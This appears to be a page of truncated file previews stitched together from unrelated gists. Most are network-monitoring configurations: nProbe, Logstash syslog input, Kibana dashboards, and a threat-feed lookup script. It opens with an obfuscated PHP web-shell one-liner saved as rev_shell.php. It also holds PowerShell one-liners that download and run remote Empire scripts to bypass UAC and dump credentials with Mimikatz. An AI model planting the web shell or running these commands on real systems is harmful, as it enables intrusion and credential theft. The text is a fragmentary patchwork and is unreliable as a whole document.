| <?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`; | |
| /* | |
| * In terminal: | |
| * $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php | |
| * This is how the code will be produced, \xa0\xb8\xba\xab will be | |
| * treated as constant therefore no " needed. It is also not copyable | |
| * string because of non-ascii characters | |
| * | |
| * Explanation: |
| # Description: | |
| # Collection of PowerShell one-liners for red teamers and penetration testers to use at various stages of testing. | |
| # Invoke-BypassUAC and start PowerShell prompt as Administrator [Or replace to run any other command] | |
| powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-BypassUAC.ps1');Invoke-BypassUAC -Command 'start powershell.exe'" | |
| # Invoke-Mimikatz: Dump credentials from memory | |
| powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds" | |
| # Import Mimikatz Module to run further commands |
| /usr/local/bin/nprobe -b 0 -i eth1 --json-labels -t 60 --elastic "nProbe;nprobe;http://127.0.0.1:9200/_bulk" -T "%IPV4_SRC_ADDR %L4_SRC_PORT %IPV4_DST_ADDR %L4_DST_PORT %PROTOCOL %IN_BYTES %OUT_BYTES %FIRST_SWITCHED %LAST_SWITCHED %IN_PKTS %OUT_PKTS %IP_PROTOCOL_VERSION %APPLICATION_ID %L7_PROTO_NAME %ICMP_TYPE %SRC_IP_COUNTRY %DST_IP_COUNTRY %APPL_LATENCY_MS %HTTP_URL %HTTP_RET_CODE %HTTP_REFERER %HTTP_UA %HTTP_MIME %HTTP_HOST %HTTP_FBOOK_CHAT %HTTP_SITE %HTTP_METHOD" -G 2>/tmp/log |
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| ''' | |
| usage: | |
| cat something_withIPs | python checkthreatfeed.py | |
| www.c1fapp.com | |
| ''' | |
| import sys |
| { | |
| "title": "PFSense Firewall", | |
| "services": { | |
| "query": { | |
| "idQueue": [], | |
| "list": { | |
| "0": { | |
| "query": "tags: \"PFSense\" AND action: \"pass\"", | |
| "alias": "Passed", | |
| "color": "#6ED0E0", |
| input { | |
| tcp { | |
| type => syslog | |
| port => 514 | |
| } | |
| udp { | |
| type => syslog | |
| port => 514 | |
| } | |
| } |
| { | |
| "title": "Broids", | |
| "services": { | |
| "query": { | |
| "list": { | |
| "0": { | |
| "id": 0, | |
| "color": "#7EB26D", | |
| "alias": "All Connections", | |
| "pin": true, |
| { | |
| "title": "C1fApp Threat Intelligence", | |
| "services": { | |
| "query": { | |
| "list": { | |
| "0": { | |
| "query": "index: \"cif\"", | |
| "alias": "Cif Index", | |
| "color": "#7EB26D", | |
| "id": 0, |